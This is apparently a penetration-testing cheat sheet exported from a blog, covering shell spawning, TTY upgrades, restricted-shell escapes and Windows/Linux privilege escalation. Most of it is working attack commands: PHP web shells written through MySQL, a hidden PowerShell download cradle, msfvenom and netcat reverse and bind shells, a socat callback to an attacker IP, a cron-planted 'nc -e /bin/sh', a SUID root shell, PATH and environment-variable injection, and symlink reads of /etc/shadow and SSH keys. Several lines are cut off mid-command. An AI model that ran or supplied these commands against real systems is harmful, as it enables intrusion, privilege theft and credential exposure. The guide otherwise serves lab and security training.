```
xhost +targetip
```

## Lynx

Obtain an interactive shell through lynx: It is possible to obtain an interactive shell via special LYNXDOWNLOAD URLs. This is a big security hole for sites that use lynx “guest accounts” and other public services. More details [LynxShell](#)

When you start up a lynx client session, you can hit “g” (for goto) and then enter the following URL:

```
URL to open: LYNXDOWNLOAD://Method=-1/File=/dev/null;/bin/sh;/SugFile=/dev/nul
```

## MYSQL

- If we have MYSQL Shell via sqlmap or phpmyadmin, we can use mysql outfile/ dumpfile function to upload a shell.

```
echo -n "<?php phpinfo(); ?>" | xxd -ps 3c3f70687020706870696e666f28  
select 0x3c3f70687020706870696e666f28293b203f3e into outfile '/var/w
```

or

```
SELECT "<?php passthru($_GET['cmd']); ?>" into dumpfile '/var/www/ht
```

- If you have sql-shell from sqlmap/ phpmyadmin, we can read files by using the load\_file function.

```
select load_file('/etc/passwd');
```

## Reverse Shell from Windows

If there's a way, we can execute code from windows, we may try

- Uploading ncat and executing it
- Powershell Empire/ Metasploit Web-Delivery Method
- Invoke-Shellcode (from powersploit)

```
Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object Net
```

### Todo

add Nishang?

## MSF Meterpreter ELF

```
msfvenom -p linux/x86/meterpreter/reverse_tcp -f elf -o met LHOST=10.10.XX.116
```

## Metasploit MSFVenom

Ever wondered from where the above shells came from? Maybe try msfvenom and grep for cmd/unix

```
msfvenom -l payloads | grep "cmd/unix"
**snip**
cmd/unix/bind_awk           Listen for a connection
cmd/unix/bind_inetd          Listen for a connection
cmd/unix/bind_lua            Listen for a connection
cmd/unix/bind_netcat         Listen for a connection
cmd/unix/bind_perl           Listen for a connection
cmd/unix/interact            Interacts with a shell
cmd/unix/reverse              Creates an interactive
cmd/unix/reverse_awk          Creates an interactive
cmd/unix/reverse_python       Connect back and creates
cmd/unix/reverse_python_ssl   Creates an interactive
cmd/unix/reverse_r             Connect back and creates
cmd/unix/reverse_ruby          Connect back and creates
**snip**
```

Now, try to check the payload

```
msfvenom -p cmd/unix/bind_netcat
Payload size: 105 bytes
mkfifo /tmp/cdniov; (nc -l -p 4444 || nc -l 4444)0</tmp/cdniov | /bin/sh >/tmp/
```

## Spawning a TTY Shell

Once we have reverse shell, we need a full TTY session by using either Python, sh, perl, ruby, lua, IRB. [Spawning a TTY Shell](#) and [Post-Exploitation Without A TTY](#) have provided multiple ways to get a tty shell

### Python

```
python -c 'import pty; pty.spawn("/bin/sh")'
```

or

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

```
python -c 'import os; os.system("/bin/bash")'
```

## sh

```
/bin/sh -i
```

## Perl

```
perl -e 'exec "/bin/sh";'
```

```
perl: exec "/bin/sh";
```

## Ruby

```
ruby: exec "/bin/sh"
```

## Lua

```
lua: os.execute('/bin/sh')
```

## IRB

(From within IRB)

```
exec "/bin/sh"
```

## VI

(From within vi)

```
:!bash
```

(From within vi)

```
:set shell=/bin/bash:shell
```

Also, if we execute

```
vi ;/bin/bash
```

Once, we exit vi, we would get shell. Helpful in scenarios where the user is asked to input which file to open.

## Nmap

(From within nmap)

```
!sh
```

## Expect

Using "Expect" To Get A TTY

```
$ cat sh.exp
#!/usr/bin/expect
# Spawn a shell, then allow the user to interact with it.
# The new shell will have a good enough TTY to run tools like ssh, su and log
spawn sh
interact
```

## Sneaky Stealthy SU in (Web) Shells

Let's say we have a webshell on the server (probably, we would be logged in as a apache user), however, if we have credentials of another user, and we want to login we need a tty shell. We can use a shell terminal trick that relies on Python to turn our non-terminal shell into a terminal shell.

## Example

Create PDF in your applications with the Pdfcrowd [HTML to PDF API](#)

PDFCROWD

Webshell like

```
http://IP/shell.php?cmd=id
```

If we try

```
echo password | su -c whoami
```

Probably will get

```
standard in must be a tty
```

The su command would work from a terminal, however, would not take in raw stuff via the shell's Standard Input. We can use a shell terminal trick that relies on Python to turn our non-terminal shell into a terminal shell

```
(sleep 1; echo password) | python -c "import pty; pty.spawn(['/bin/su','-c','\vroot')
```

The above has been referenced from SANS [Sneaky Stealthy SU in \(Web\) Shells](#)

## Spawning a Fully Interactive TTYS Shell

Ronnie Flathers has already written a great blog on [Upgrading simple shells to fully interactive TTYS](#) Hence, almost everything is taken from that blog post and kept here for completion.

Many times, we will not get a fully interactive shell therefore it will/ have:

- Difficult to use the text editors like vim
- No tab-complete
- No up arrow history
- No job control

### Socat

Socat can be used to pass full TTY's over TCP connections.

On Kali-Machine (Attackers - Probably yours)

```
socat file:`tty`,raw,echo=0 tcp-listen:4444
```

On Victim (launch):

```
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
```

If socat isn't installed, download standalone binaries that can be downloaded from [static binaries](#)

Download the correct binary architecture of socat to a writable directory, chmod it, execute

### **stty**

Use the methods mentioned in [Spawning a TTY Shell](#)

Once bash is running in the PTY, background the shell with Ctrl-Z While the shell is in the background, examine the current terminal and STTY info so we can force the connected shell to match it

```
echo $TERM  
xterm-256color
```

```
stty -a  
speed 38400 baud; rows 59; columns 264; line = 0;  
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <  
-parenb -parodd -cmspar cs8 -hupcl -cstopb cread -clocal -crtsccts  
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff  
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0  
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoe
```

The information needed is the TERM type ("xterm-256color") and the size of the current TTY ("rows 38; columns 116")

With the shell still backgrounded, set the current STTY to type raw and tell it to echo the input characters with the following command:

```
stty raw -echo
```

With a raw stty, input/ output will look weird and you won't see the next commands, but as you type they are being processed.

Next foreground the shell with fg. It will re-open the reverse shell but formatting will be off. Finally, reinitialize the terminal with reset.

After the reset the shell should look normal again. The last step is to set the shell, terminal type and stty size to match our current Kali window (from the info gathered above)

```
$ export SHELL=bash  
$ export TERM=xterm256-color  
$ stty rows 38 columns 116
```

The end result is a fully interactive TTY with all the features we'd expect (tab-complete, history, job control, etc) all over a netcat connection

### ssh-key

If we have some user shell or access, probably it would be a good idea to generate a new ssh private-public key pair using ssh-keygen

```
ssh-keygen  
Generating public/private rsa key pair.  
Enter file in which to save the key (/home/bitvijays/.ssh/id_rsa):  
Enter passphrase (empty for no passphrase):  
Enter same passphrase again:  
Your identification has been saved in /home/bitvijays/.ssh/id_rsa.  
Your public key has been saved in /home/bitvijays/.ssh/id_rsa.pub.  
The key fingerprint is:  
SHA256:JbdAhAIP18qm/kCANJcpgeVoZqWnFRvVbxu2u9zc5U bitvijays@Kali-Home  
The key's randomart image is:  
+---[RSA 2048]---+  
|o==*+. +=. |
```

```
=0**+ o. .
=+...+ o +
|=,* . * .
o0 S .
+ o E.
.. +
.. . . o .
.. .ooo o
+---[SHA256]---
```

Copy/ Append the public part to /home/user/.ssh/authorized\_keys

```
cat /home/bitvijays/.ssh/id_rsa.pub
echo "ssh-rsa AAAAB3NzaC1yc2EAAAQABAAQC+tbCpnhU5qQm6typWI52FCin6NDYP0hmC
<                                >
```

Now, ssh to the box using that user.

```
ssh user@hostname -i id_rsa
```

## Restricted Shell

Sometimes, after getting a shell, we figure out that we are in restricted shell. The below has been taken from [Escaping Restricted Linux Shells](#), [Escape from SHELLcatraz](#)

### Definition

It limits a user's ability and only allows them to perform a subset of system commands. Typically, a combination of some or all of the following restrictions are imposed by a restricted shell:

- Using the 'cd' command to change directories.
- Setting or un-setting certain environment variables (i.e. SHELL, PATH, etc...).
- Specifying command names that contain slashes.
- Specifying a filename containing a slash as an argument to the '.' built-in command.
- Specifying a filename containing a slash as an argument to the '-p' option to the 'hash' built-in command.

- Importing function definitions from the shell environment at startup.
- Parsing the value of SHELOPTS from the shell environment at startup.
- Redirecting output using the '>', '>|', '>&', '&>', and '>>' redirection operators.
- Using the 'exec' built-in to replace the shell with another command.
- Adding or deleting built-in commands with the '-f' and '-d' options to the enable built-in.
- Using the 'enable' built-in command to enable disabled shell built-ins.
- Specifying the '-p' option to the 'command' built-in.
- Turning off restricted mode with 'set +r' or 'set +o restricted'

Real shell implements restricted shells:

- rbash

```
bash -r
cd
bash: cd: restricted
```

- rsh
- rksh

## Getting out of restricted shell

### Reconnaissance

Find out information about the environment.

- Run env to see exported environment variables
- Run 'export -p' to see the exported variables in the shell. This would tell which variables are read-only. Most likely the PATH (\$PATH) and SHELL (\$SHELL) variables are '-rx', which means we can execute them, but not write to them. If they are writeable, we would be able to escape the restricted shell!
  - If the SHELL variable is writeable, you can simply set it to your shell of choice (i.e. sh, bash, ksh, etc...).

- If the PATH is writeable, then you'll be able to set it to any directory you want.  
We recommend setting it to one that has commands vulnerable to shell escapes.
- Try basic Unix commands and see what's allowed ls, pwd, cd, env, set, export, vi, cp, mv etc.

## Quick Wins

- If '/' is allowed in commands just run /bin/sh
- If we can set PATH or SHELL variable

```
export PATH=/bin:/usr/bin:/sbin:$PATH  
export SHELL=/bin/sh
```

or if chsh command is present just change the shell to /bin/bash

```
chsh  
password: <password will be asked>  
/bin/bash
```

- If we can copy files into existing PATH, copy

```
cp /bin/sh /current/directory; sh
```

## Taking help of binaries

Some commands let us execute other system commands, often bypassing shell restrictions

- ftp -> !/bin/sh
- gdb -> !/bin/sh
- more/ less/ man -> !/bin/sh
- vi -> :!/bin/sh : Refer [Breaking out of Jail : Restricted Shell](#) and [Restricted Accounts and Vim Tricks in Linux and Unix](#)
- scp -S /tmp/getMeOut.sh x y : Refer [Breaking out of rbash using scp](#)

- awk 'BEGIN {system("/bin/sh")}'
- find / -name someName -exec /bin/sh ;
- tee

```
echo "Your evil code" | tee script.sh
```

- Invoke shell thru scripting language

- Python

```
python -c 'import os; os.system("/bin/bash")'
```

- Perl

```
perl -e 'exec "/bin/sh";'
```

## SSHing from outside

- Use SSH on your machine to execute commands before the remote shell is loaded:

```
ssh username@IP -t "/bin/sh"
```

- Start the remote shell without loading "rc" profile (where most of the limitations are often configured)

```
ssh username@IP -t "bash --noprofile"
```

```
-t      Force pseudo-terminal allocation. This can be used to execu
```

## Getting out of rvim

Main difference of rvim vs vim is that rvim does not allow escape to shell with previously described techniques and, on top of that, no shell commands at all. Taken from [vimjail](#)

- To list all installed features it is possible to use ':version' vim command.

```
:version
VIM - Vi IMproved 8.0 (2016 Sep 12, compiled Nov 04 2017 04:17:46)
Included patches: 1-1257
Modified by pkg-vim-maintainers@lists.alioth.debian.org
Compiled by pkg-vim-maintainers@lists.alioth.debian.org
Huge version with GTK2 GUI. Features included (+) or not (-):
+acl          +cindent      +cryptv       -ebcdic
+arabic       +clientserver +cscope       +emacs_tags
+autocmd     +clipboard    +cursorbind   +eval
+balloon_eval +cmdline_compl +cursorshape  +ex_extra
+browse       +cmdline_hist  +dialog_con_gui +extra_search
++builtin_terms +cmdline_info +diff         +farsi
+byte_offset   +comments    +digraphs    +file_in_path
+channel      +conceal     +dnd         +find_in_path
system vimrc file: "$VIM/vimrc"
```

- Examining installed features and figure out which interpreter is installed.
- If python/ python3 has been installed

```
:python3 import pty;pty.spawn("/bin/bash")
```

## Gather information from files

In case of LFI or unprivileged shell, gathering information could be very useful. Mostly taken from [g0tmi1k Linux Privilege Escalation Blog](#)

### Operating System

```
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release      # Debian based
cat /etc/redhat-release   # Redhat based
```

### /Proc Variables

/proc/sched_debug	This is usually enabled on newer systems, such as RHEL.
/proc/mounts	Provides a list of mounted file systems. Can be used to find out what is mounted.
/proc/net/arp	Shows the ARP table. This is one way to find out IP addresses.
/proc/net/route	Shows the routing table information.
/proc/net/tcp	Provides a list of active connections. Can be used to find out what ports are open.
/proc/net/udp	This is used for route caching. This can also be used to find out what ports are open.
/proc/net/fib_trie	Shows the kernel version. This can be used to help determine the kernel version.
/proc/version	

Each process also has its own set of attributes. If we have the PID number and access to that process, then we can obtain some useful information about it, such as its environmental variables and any command line options that were run. Sometimes these include passwords. Linux also has a special proc directory called self which can be used to query information about the current process without having to know its PID.

/proc/[PID]/cmdline	Lists everything that was used to invoke the process.
/proc/[PID]/environ	Lists all the environment variables that were set when the process was started.
/proc/[PID]/cwd	Points to the current working directory of the process.
/proc/[PID]/fd/[#]	Provides access to the file descriptors being used. It lists all the file descriptors and their corresponding file paths.

The information about Proc variables has been taken from [Directory Traversal, File Inclusion, and The Proc File System](#)

## Environment Variables

```
cat /etc/profile  
cat /etc/bashrc  
cat ~/.bash_profile  
cat ~/.bashrc  
cat ~/.bash_logout
```

## Configuration Files

- Apache Web Server : Helps in figuring out the DocumentRoot where does your webserver files are?

```
/etc/apache2/apache2.conf  
/etc/apache2/sites-enabled/000-default
```

## User History

```
~/.bash_history  
~/.nano_history  
~/.atftp_history  
~/.mysql_history  
~/.php_history  
~/.viminfo
```

## Private SSH Keys / SSH Configuration

```
~/.ssh/authorized_keys : specifies the SSH keys that can be used for logging in  
~/.ssh/identity.pub  
~/.ssh/identity  
~/.ssh/id_rsa.pub  
~/.ssh/id_rsa  
~/.ssh/id_dsa.pub  
~/.ssh/id_dsa  
/etc/ssh/ssh_config : OpenSSH SSH client configuration files  
/etc/ssh/sshd_config : OpenSSH SSH daemon configuration file
```

## Logs Files

Anything helpful in the logs file? Imagine, user running a command and that being logged in auth.log?

```
cat /var/log/auth.log
```

Usually, any log files present in /var/log directory might be important.

```
auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log,
```

## Unprivileged Shell to Privileged Shell

Probably, at this point of time, we would have unprivileged shell of user www-data. If you are on Windows, there are particular set of steps. If you are on linux, it would be a good idea to first check privilege escalation techniques from g0tm1k blog such as if there are any binary executable with SUID bits, if there are any cron jobs running with root permissions.

[Linux] If you have become a normal user of which you have a password, it would be a good idea to check sudo -l (for every user! Yes, even for www-data) to check if there are any executables you have permission to run.

### Windows Privilege Escalation

If you have a shell/ meterpreter from a windows box, probably, the first thing would be to utilize

#### SystemInfo

Run system info and findout

- Operating System Version
- Architecture : Whether x86 or x64.
- Hotfix installed

The below system is running x64, Windows Server 2008 R2 with no Hotfixes installed.

```
systeminfo
Host Name:          VICTIM-MACHINE
OS Name:           Microsoft Windows Server 2008 R2 Datacenter
OS Version:        6.1.7600 N/A Build 7600
OS Manufacturer:  Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type:    Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID:        00496-001-0001283-84782
Original Install Date: 18/3/2017, 7:04:46 00
System Boot Time:   7/11/2017, 3:13:00 00
```

```
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 2 Processor(s) Installed.
[01]: Intel64 Family 6 Model 79 Stepping 1 Genuine
[02]: Intel64 Family 6 Model 79 Stepping 1 Genuine
BIOS Version: Phoenix Technologies LTD 6.00, 5/4/2016
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: el;Greek
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory: 2.048 MB
Available Physical Memory: 1.640 MB
Virtual Memory: Max Size: 4.095 MB
Virtual Memory: Available: 3.665 MB
Virtual Memory: In Use: 430 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) PRO/1000 MT Network Connection
      Connection Name: Local Area Connection
      DHCP Enabled: No
      IP address(es)
      [01]: 10.54.98.9
```

If there are no Hotfixes installed, we can visit

```
C:\Windows\SoftwareDistribution\Download
```

This directory is the temporary location for WSUS. Updates were downloaded here, doesn't mean were installed. Otherwise, we may visit

```
C:\Windows\WindowUpdate.log
```

which will inform if any hotfixes are installed.

We can also run

```
wmic qfe
```

Caption	CSName	Description
<a href="http://support.microsoft.com/?kbid=4100347">http://support.microsoft.com/?kbid=4100347</a>	LAPTOP	Update
<a href="http://support.microsoft.com/?kbid=4343669">http://support.microsoft.com/?kbid=4343669</a>	LAPTOP	Update
<a href="http://support.microsoft.com/?kbid=4343902">http://support.microsoft.com/?kbid=4343902</a>	LAPTOP	Security Update

### Metasploit Local Exploit Suggestor

Metasploit local\_exploit\_suggester : The module suggests local meterpreter exploits that can be used. The exploits are suggested based on the architecture and platform that the user has a shell opened as well as the available exploits in meterpreter.

#### Note

It is utmost important that the meterpreter should be of the same architecture as your target machine, otherwise local exploits may fail. For example. if you have target as windows 64-bit machine, you should have 64-bit meterpreter.

### Sherlock and PowerUp Powershell Script

- [Sherlock](#) PowerShell script by [rastamouse](#) to quickly find missing software patches for local privilege escalation vulnerabilities. If the Metasploit local\_exploit\_suggester didn't resulted in any exploits. Probably, try Sherlock Powershell script to see if there any vuln which can be exploited.
- [PowerUp](#) : PowerUp aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfigurations.

The above can be executed by

```
view-source:10.54.98.X/shell.php?cmd=echo IEX (New-Object Net.WebClient).Downl
```

We execute powershell with noprofile and accept the input from stdin

## Windows Exploit Suggestor

[Windows Exploit Suggestor](#) : This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins. Just copy the systeminfo information from the windows OS and compare the database.

If we are getting the below error on running local exploits of getuid in meterpreter

```
[-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_config_get
```

Possibly, migrate into a new process using post/windows/manage/migrate

## Windows Kernel Exploits

[Windows Kernel Exploits](#) contains most of the compiled windows exploits. One way of running these is either upload these on victim system and execute. Otherwise, create a smb-server using Impacket

```
usage: smbserver.py [-h] [-comment COMMENT] [-debug] [-smb2support] shareName  
This script will launch a SMB Server and add a share specified as an argument.  
positional arguments:  
  shareName      name of the share to add  
  sharePath     path of the share to add
```

Assuming, the current directory contains our compiled exploit, we can

```
impacket-smbserver <sharename> `pwd`  
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies  
[*] Config file parsed
```

```
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
```

Once, smbserver is up and running, we can execute code like

```
view-source:VictimIP/shell.php?cmd=\\YourIP\ShareName\ms15-051x64.exe whoami
*Considering shell.php is our php oneliner to execute commands.
```

### Abusing Token Privileges

If we have the windows shell or meterpreter, we can type "whoami /priv" or if we have meterpreter, we can type "getprivs"

If we have any of the below privileges, we can possibly utilize [Rotten Potato](#)

```
SeImpersonatePrivilege
SeAssignPrimaryPrivilege
SeTcbPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeCreateTokenPrivilege
SeLoadDriverPrivilege
SeTakeOwnershipPrivilege
SeDebugPrivilege
```

The above was for the Windows OS and the below is for Linux OS.

### Credential Manager

Sometimes, the user might have save his credentials in the memory while using "runas /savecred" option. We could check this by

```
cmdkey /list
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
```

```
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\  
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\  
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```

#### Note

Sometimes, while using Metasploit web delivery method, if the reverse\_https payload doesn't work try reverse tcp maybe?

### Other Enumeration

Mostly taken from [Windows Privilege Escalation Guide](#)

**Environment Variables** : A domain controller in LOGONSERVER?

```
set  
Get-ChildItem Env: | ft Key,Value
```

### Connected Drives

```
net use  
wmic logicaldisk get caption,description,providername  
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}
```

### Users

Who are you?

```
whoami  
echo %USERNAME%  
$env:UserName
```

What users are on the system? Any old user profiles that weren't cleaned up?

```
net users  
dir /b /ad "C:\Users\"
```

```
dir /b /ad "C:\Documents and Settings\" # Windows XP and below  
Get-LocalUser | ft Name,Enabled,LastLogon  
Get-ChildItem C:\Users -Force | select Name
```

Is anyone else logged in?

```
qwinsta
```

What groups are on the system?

```
net localgroup  
Get-LocalGroup | ft Name
```

Are any of the users in the Administrators group?

```
net localgroup Administrators  
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
```

Anything in the Registry for User Autologon?

```
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul |  
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window
```

## Programs

What software is installed?

```
dir /a "C:\Program Files"  
dir /a "C:\Program Files (x86)"  
reg query HKEY_LOCAL_MACHINE\SOFTWARE  
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,La  
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
```

## Processes/ Services

```
tasklist /svc  
tasklist /v  
net start  
sc query
```

Get-Process has a -IncludeUserName option to see the process owner, however you have to have administrative rights to use it.

```
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id  
Get-Service
```

This one liner returns the process owner without admin rights, if something is blank under owner it's probably running as SYSTEM, NETWORK SERVICE, or LOCAL SERVICE.

```
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike '
```

## Scheduled Tasks

```
schtasks /query /fo LIST 2>nul | findstr TaskName  
dir C:\windows\tasks  
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,1
```

## Startup?

```
wmic startup get caption,command  
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run  
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce  
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run  
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce  
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"  
dir "C:\Documents and Settings%\username%\Start Menu\Programs\Startup"
```

Powershell

```
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User |  
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Window  
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Window  
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows  
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows  
Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"  
Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
```

## Networking

Firewall turned on? If so what's configured?

```
netsh firewall show state  
netsh firewall show config  
netsh advfirewall firewall show rule name=all  
netsh advfirewall export "firewall.txt"
```

Interesting interface configurations?

```
netsh dump
```

SNMP configurations

```
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s  
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
```

## Sensitive Files

passwords in the registry?

```
reg query HKCU /f password /t REG_SZ /s  
reg query HKLM /f password /t REG_SZ /s
```

Interesting files to look at? Possibly inside User directories (Desktop, Documents, etc)?

```
dir /s *pass* == *vnc* == *.config* 2>nul  
Get-Childitem -Path C:\Users\ -Include *password*,*vnc*,*.config -File -Recurse
```

Files containing password inside them?

```
findstr /si password *.xml *.ini *.txt *.config 2>nul  
Get-ChildItem C:\* -include *.xml,*.ini,*.txt,*.config -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password" | Out-GridView
```

## Linux Privilege Escalation

Techniques for Linux privilege escalation:

### Privilege escalation from g0tm1lk blog

Once, we have got the unprivileged shell, it is very important to check the below things

- Did you tried “sudo -l” and check if we have any binaries which can be executed as root?
- Are there any binaries with Sticky, suid, guid.
- Are there any world-writable folders, files.
- Are there any world-executable files.
- Which are the files owned by nobody (No user)
- Which are the files which are owned by a particular user but are not present in their home directory. (Mostly, the users have files and folders in /home directory. However, that's not always the case.)
- What are the processes running on the machines? (ps aux). Remember, If something like knockd is running, we would come to know that Port Knocking is required.
- What are the packages installed? (dpkg -l for debian) (pip list for python packages). Maybe some vulnerable application is installed ready to be exploited (For example: chkrootkit version 0.49 or couchdb 1.7).
- What are the services running? (netstat -ln)
- Check the entries in the crontab!
- What are the files present in the /home/user folder? Are there any hidden files and folders? like .thunderbird/ .bash\_history etc.
- What groups does the user belong to (adm, audio, video, disk)?
- What other users are logged on the linux box (command w)?

## What "Advanced Linux File Permissions" are used?

Sticky bits, SUID & GUID

```
find / -perm -1000 -type d 2>/dev/null      # Sticky bit - Only the owner of the
find / -perm -g=s -type f 2>/dev/null        # SGID (chmod 2000) - run as the group
find / -perm -u=s -type f 2>/dev/null        # SUID (chmod 4000) - run as the owner
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f
# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
```

## Where can written to and executed from?

A few 'common' places: /tmp, /var/tmp, /dev/shm

```
find / -writable -type d 2>/dev/null      # world-writeable folders
find / -perm -222 -type d 2>/dev/null      # world-writeable folders
find / -perm -o+w -type d 2>/dev/null      # world-writeable folders
find / -perm -o+w -type f 2>/dev/null      # world-writeable files
find / -type f -perm -o+w -not -type l -not -path "/proc/**" -not -path "/sys/**"
find / -perm -o+x -type d 2>/dev/null      # world-executable folders
find / -perm -o+x -type f 2>/dev/null      # world-executable files
find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null      # world-writeable & executable
```

## Any "problem" files?

Word-writeable, "nobody" files

```
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print      # world-writeable dirs
find /dir -xdev \( -nouser -o -nogroup \) -print      # Noowner files
```

## Find files/ folder owned by the user

After compromising the machine with an unprivileged shell, /home would contain the users present on the system. Also, viewable by checking /etc/passwd. Many times, we do want to see if there are any files owned by those users outside their home directory.

```
find / -user username 2> /dev/null  
find / -group groupname 2> /dev/null
```

### Tip

Find files by wheel/ adm users or the users in the home directory. If the user is member of other groups (such as audio, video, disk), it might be a good idea to check for files owned by particular groups.

## Other Linux Privilege Escalation

### Execution of binary from Relative location than Absolute

If we figure out that a suid binary is running with relative locations (for example let's say backjob is running "id" and "scp /tmp/special [ron@ton.home](#)"(figured out by running strings on the binary)). The problem with this is, that it's trying to execute a file/ script/ program on a RELATIVE location (opposed to an ABSOLUTE location like /sbin would be). And we will now exploit this to become root.

Something like this:

```
system("/usr/bin/env echo and now what?");
```

so we can create a file in temp:

```
echo "/bin/sh" >> /tmp/id  
chmod +x /tmp/id
```

```
www-data@yummy:/tmp$ echo "/bin/sh" >> /tmp/id  
www-data@yummy:/tmp$ export PATH=/tmp:$PATH
```

```
www-data@yummy:/tmp$ which id  
/tmp/id  
www-data@yummy:/tmp$ /opt/backjob  
whoami  
root  
# /usr/bin/id  
uid=0(root) gid=0(root) groups=0(root),33(www-data)
```

By changing the PATH prior executing the vulnerable suid binary (i.e. the location, where Linux is searching for the relative located file), we force the system to look first into /tmp when searching for "scp" or "id". So the chain of commands is:

- /opt/backjob switches user context to root (as it is suid) and tries to run "scp or id"
- Linux searches the filesystem according to its path (here: in /tmp first)
- Our malicious /tmp/scp or /tmp/id gets found and executed as root
- A new bash opens with root privileges.

If we execute a binary without specifying an absolute paths, it goes in order of your \$PATH variable. By default, it's something like:

```
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

It is important to see .bash\_profile file which contains the \$PATH

### Environment Variable Abuse

If the suid binary contains a code like

```
asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));  
printf("about to call system(\"%s\")\n", buffer);  
system(buffer);
```

We can see that it is accepting environment variable USER which can be user-controlled. In that case just define USER variable to

```
USER=";/bin/sh;"
```

When the program is executed, USER variable will contain /bin/sh and will be executed on system call.

```
echo $USER
;/bin/sh;

levelXX@:/home/flagXX$ ./flagXX
about to call system("/bin/echo ;/bin/sh; is cool")

sh-4.2$ id
uid=997(flagXX) gid=1003(levelXX) groups=997(flagXX),1003(levelXX)
```

### World-Writable Folder with a Script executing any file in that folder using crontab

If there exists any world-writeable folder plus if there exists a cronjob which executes any script in that world-writeable folder such as

```
#!/bin/sh

for i in /home/flagXX/writable.d/* ; do
    (ulimit -t 5; bash -x "$i")
    rm -f "$i"
done
```

then either we can create a script in that folder /home/flagXX/writeable.d which gives us a reverse shell like

```
echo "/bin/nc.traditional -e /bin/sh 192.168.56.1 22" > hello.sh
```

or

we can create a suid file to give us the privileged user permission

```
#!/bin/sh
gcc /var/tmp/shell.c -o /var/tmp/flagXX
chmod 4777 /var/tmp/flagXX
```

Considering shell.c contains

```
int main(void) {
    setgid(0); setuid(0);
    execl("/bin/sh","sh",0); }
```

## Symlink Creation

Multiple time, we would find that a suid binary belonging to another user is authorized to read a particular file. For example Let's say there's a suid binary called readExampleConf which can read a file named example.conf as a suid user. This binary can be tricked into reading any other file by creating a Symlink or a softlink. For example if we want to read /etc/shadow file which can be read by suid user. we can do

```
ln -s /etc/shadow /home/xxxxxx/example.conf
ln -s /home/xxx2/.ssh/id_rsa /home/xxxxxx/example.conf
```

Now, when we try to read example.conf file, we would be able to read the file for which we created the symlink

```
readExampleConf /home/xxxxxx/example.conf
<Contents of shadow or id_rsa>
```

## Directory Symlink

Let's see what happens when we create a symlink of a directory

```
ln -s /etc/ sym_file
ln -s /etc/ sym_fold/
```

Here the first one create a direct symlink to the /etc folder and will be shown as

```
sym_file -> /etc/
```

where as in the second one ( ln -s /etc/ sym\_fold/ ), we first create a folder sym\_fold and then create a symlink

```
